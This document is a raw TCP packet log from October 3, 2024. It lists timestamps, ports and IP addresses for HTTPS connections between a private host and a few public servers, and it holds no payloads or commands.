Oct 3, 2024 10:41:58.181024075 CEST	50171	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:58.181046009 CEST	443	50171	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:58.290096998 CEST	443	50171	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:58.290286064 CEST	443	50171	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:58.290369034 CEST	50171	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:58.302781105 CEST	50171	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:58.302803993 CEST	443	50171	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:58.308103085 CEST	443	50176	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.308408976 CEST	50176	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.308432102 CEST	443	50176	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.309537888 CEST	443	50176	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.309590101 CEST	50176	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.309998035 CEST	50176	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.310003996 CEST	443	50172	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.310079098 CEST	443	50176	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.310199976 CEST	50172	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.310223103 CEST	443	50172	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.310271978 CEST	50176	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.310281992 CEST	443	50176	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.310658932 CEST	443	50172	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.310977936 CEST	50172	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.311048985 CEST	443	50172	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.311172009 CEST	50172	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.314321041 CEST	443	50175	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.314532042 CEST	50175	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.314551115 CEST	443	50175	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.318172932 CEST	443	50175	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.318242073 CEST	50175	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.318530083 CEST	50175	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.318624973 CEST	443	50175	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.318656921 CEST	50175	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.324667931 CEST	443	50184	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:58.325032949 CEST	50184	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:58.325046062 CEST	443	50184	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:58.326185942 CEST	443	50184	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:58.326478958 CEST	50184	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:58.326661110 CEST	443	50184	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:58.326801062 CEST	50184	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:58.330697060 CEST	443	50174	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.330893993 CEST	50174	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.330905914 CEST	443	50174	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.331948042 CEST	443	50174	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.332000017 CEST	50174	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.332504988 CEST	50174	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.332597017 CEST	443	50174	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.332720995 CEST	50174	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.332731009 CEST	443	50174	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.339122057 CEST	443	50177	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.339345932 CEST	50177	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.339375019 CEST	443	50177	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.340454102 CEST	443	50177	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.340557098 CEST	50177	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.341051102 CEST	50177	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.341141939 CEST	443	50177	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.341197968 CEST	50177	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.349982977 CEST	443	50173	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.350258112 CEST	50173	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.350267887 CEST	443	50173	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.350639105 CEST	443	50173	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.350950003 CEST	50173	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.351011992 CEST	443	50173	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.351128101 CEST	50173	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.355452061 CEST	443	50172	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.356004000 CEST	50176	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.359422922 CEST	443	50175	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.366420984 CEST	443	50181	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.366858006 CEST	50181	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.366882086 CEST	443	50181	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.367253065 CEST	443	50181	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.367587090 CEST	50181	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.367748022 CEST	50181	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.367872953 CEST	443	50181	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.371398926 CEST	443	50184	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:58.372005939 CEST	50174	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.372020960 CEST	50175	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.372049093 CEST	443	50175	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.387016058 CEST	50177	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.387038946 CEST	443	50177	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.395232916 CEST	443	50180	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.395409107 CEST	443	50173	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.395555019 CEST	50180	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.395570993 CEST	443	50180	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.396712065 CEST	443	50180	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.397044897 CEST	50180	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.397188902 CEST	50180	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.397221088 CEST	443	50180	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.403007030 CEST	50173	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.415122032 CEST	443	50182	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.415992975 CEST	50182	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.416018963 CEST	443	50182	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.417115927 CEST	443	50182	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.417201042 CEST	50182	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.417593956 CEST	50182	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.417676926 CEST	443	50182	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.417828083 CEST	50182	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.417839050 CEST	443	50182	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.419017076 CEST	50181	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.419131041 CEST	50175	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.433168888 CEST	443	50184	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:58.433281898 CEST	443	50184	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:58.433336020 CEST	50184	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:58.435024023 CEST	50177	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.451004028 CEST	50180	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.453356028 CEST	50184	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:58.453388929 CEST	443	50184	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:58.467004061 CEST	50182	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.577599049 CEST	443	50176	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.581330061 CEST	443	50172	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.581525087 CEST	443	50172	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.581629038 CEST	50172	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.582580090 CEST	50172	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.582597971 CEST	443	50172	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.582983971 CEST	50187	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.583008051 CEST	443	50187	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.583177090 CEST	50187	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.583931923 CEST	50187	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.583947897 CEST	443	50187	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.583957911 CEST	443	50175	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.587321997 CEST	443	50176	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.587332964 CEST	443	50176	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.587349892 CEST	443	50176	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.587408066 CEST	50176	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.587431908 CEST	443	50176	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.587445021 CEST	50176	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.587483883 CEST	50176	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.593790054 CEST	443	50175	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.593805075 CEST	443	50175	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.593836069 CEST	443	50175	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.593853951 CEST	443	50175	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.593858957 CEST	50175	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.593868017 CEST	443	50175	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.593889952 CEST	443	50175	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.593904018 CEST	50175	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.593909025 CEST	443	50175	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.593919039 CEST	50175	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.593941927 CEST	50175	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.612404108 CEST	443	50174	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.612472057 CEST	443	50174	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.612530947 CEST	443	50174	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.612550974 CEST	443	50174	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.612577915 CEST	443	50174	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.612597942 CEST	50174	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.612627029 CEST	443	50174	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.612660885 CEST	50174	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.612685919 CEST	50174	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.620716095 CEST	443	50177	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.620747089 CEST	443	50177	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.620757103 CEST	443	50177	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.620775938 CEST	443	50177	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.620783091 CEST	443	50177	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.620801926 CEST	443	50177	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.620815039 CEST	50177	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.620839119 CEST	443	50177	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.620857954 CEST	50177	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.620891094 CEST	50177	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.636466026 CEST	443	50181	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.636493921 CEST	443	50181	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.636502028 CEST	443	50181	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.636564970 CEST	50181	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.636575937 CEST	443	50181	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.636620045 CEST	50181	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.637523890 CEST	50181	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.637542963 CEST	443	50181	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.641580105 CEST	443	50173	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.641608953 CEST	443	50173	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.641617060 CEST	443	50173	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.641663074 CEST	443	50173	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.641679049 CEST	443	50173	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.641690969 CEST	50173	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.641700029 CEST	443	50173	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.641706944 CEST	443	50173	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.641714096 CEST	50173	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.641721010 CEST	50173	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.641741037 CEST	50173	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.642013073 CEST	50175	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.644146919 CEST	443	50173	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.644212961 CEST	443	50173	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.644232035 CEST	50173	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.644248962 CEST	50173	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.645010948 CEST	50173	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.645030022 CEST	443	50173	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.645381927 CEST	50188	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.645426989 CEST	443	50188	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.645613909 CEST	50188	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.646430016 CEST	50188	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.646460056 CEST	443	50188	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.648978949 CEST	443	50186	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:58.649362087 CEST	50186	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:58.649370909 CEST	443	50186	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:58.650413990 CEST	443	50186	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:58.650506973 CEST	50186	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:58.650876999 CEST	50186	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:58.650928974 CEST	443	50186	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:58.651151896 CEST	50186	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:58.651156902 CEST	443	50186	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:58.655694008 CEST	50189	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.655744076 CEST	443	50189	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.655917883 CEST	50189	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.656202078 CEST	50189	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.656223059 CEST	443	50189	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.665307999 CEST	443	50176	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.665350914 CEST	443	50176	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.665391922 CEST	50176	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.665395021 CEST	443	50176	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.665450096 CEST	50176	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.665949106 CEST	50176	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.665962934 CEST	443	50176	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.670834064 CEST	443	50175	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.670847893 CEST	443	50175	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.670903921 CEST	50175	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.670932055 CEST	443	50175	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.670949936 CEST	443	50175	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.670988083 CEST	50175	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.672517061 CEST	443	50180	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.672569990 CEST	443	50180	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.672590971 CEST	443	50180	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.672640085 CEST	443	50180	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.672645092 CEST	50180	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.672645092 CEST	50180	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.672671080 CEST	443	50180	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.672698975 CEST	50180	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.672796011 CEST	443	50180	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.672847033 CEST	50180	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.673033953 CEST	50190	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.673065901 CEST	443	50190	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.673163891 CEST	50190	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.673352957 CEST	50175	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.673381090 CEST	443	50175	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.674230099 CEST	50190	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.674242973 CEST	443	50190	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.678627014 CEST	50191	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.678669930 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.678739071 CEST	50191	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.679398060 CEST	50191	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.679423094 CEST	443	50191	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.679491043 CEST	50180	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.679508924 CEST	443	50180	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.685604095 CEST	50192	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.685640097 CEST	443	50192	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.685798883 CEST	50192	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.686156034 CEST	50192	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.686168909 CEST	443	50192	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.697556019 CEST	443	50174	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.697608948 CEST	443	50174	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.697669983 CEST	50174	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.697689056 CEST	443	50174	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.697719097 CEST	50174	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.697737932 CEST	50174	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.698944092 CEST	443	50174	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.699007034 CEST	50174	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.699012995 CEST	443	50174	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.699079037 CEST	443	50174	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.699141026 CEST	50174	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.699589014 CEST	50174	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.699601889 CEST	443	50174	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.700148106 CEST	443	50182	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.700177908 CEST	443	50182	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.700208902 CEST	443	50182	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.700222015 CEST	443	50182	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.700226068 CEST	50182	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.700234890 CEST	443	50182	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.700256109 CEST	443	50182	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.700275898 CEST	50182	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.700285912 CEST	50182	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.700304031 CEST	50182	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.705104113 CEST	50193	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.705178976 CEST	443	50193	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.705246925 CEST	50193	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.706012011 CEST	50186	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:58.706171989 CEST	50193	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.706207037 CEST	443	50193	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.708743095 CEST	443	50177	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.708748102 CEST	50194	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.708756924 CEST	443	50177	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.708781004 CEST	443	50177	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.708781958 CEST	443	50194	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.708812952 CEST	443	50177	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.708816051 CEST	50177	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.708842993 CEST	443	50177	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.708861113 CEST	50194	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.708864927 CEST	50177	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.708868980 CEST	443	50177	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.708899975 CEST	50177	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.708915949 CEST	50177	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.709543943 CEST	50194	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.709563017 CEST	443	50194	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.709774971 CEST	50177	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.709788084 CEST	443	50177	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.714433908 CEST	50195	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.714461088 CEST	443	50195	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.714523077 CEST	50195	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.714693069 CEST	50195	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:58.714704990 CEST	443	50195	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:58.717845917 CEST	50196	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.717853069 CEST	443	50196	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.719415903 CEST	50196	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.719415903 CEST	50196	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.719432116 CEST	443	50196	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.755428076 CEST	443	50186	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:58.755515099 CEST	443	50186	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:58.755749941 CEST	50186	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:58.772486925 CEST	50186	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:58.772517920 CEST	443	50186	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:58.786027908 CEST	443	50182	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.786062956 CEST	443	50182	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.786124945 CEST	50182	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.786180973 CEST	443	50182	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.786217928 CEST	50182	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.786300898 CEST	50182	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.786575079 CEST	443	50182	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.786632061 CEST	50182	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.786648035 CEST	443	50182	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.786680937 CEST	443	50182	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:58.786734104 CEST	50182	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.787182093 CEST	50182	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:58.787214041 CEST	443	50182	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:59.333575010 CEST	443	50187	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.334366083 CEST	50187	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.334403992 CEST	443	50187	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.335639000 CEST	443	50187	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.336050034 CEST	50187	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.336229086 CEST	443	50187	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.336292028 CEST	50187	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.369112015 CEST	443	50188	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.371061087 CEST	50188	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.371093988 CEST	443	50188	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.371519089 CEST	443	50188	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.371989012 CEST	50188	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.372144938 CEST	50188	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.372154951 CEST	443	50188	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.372205019 CEST	443	50188	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:59.379826069 CEST	50187	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:59.379853964 CEST	443	50187	18.245.86.87	192.168.2.4
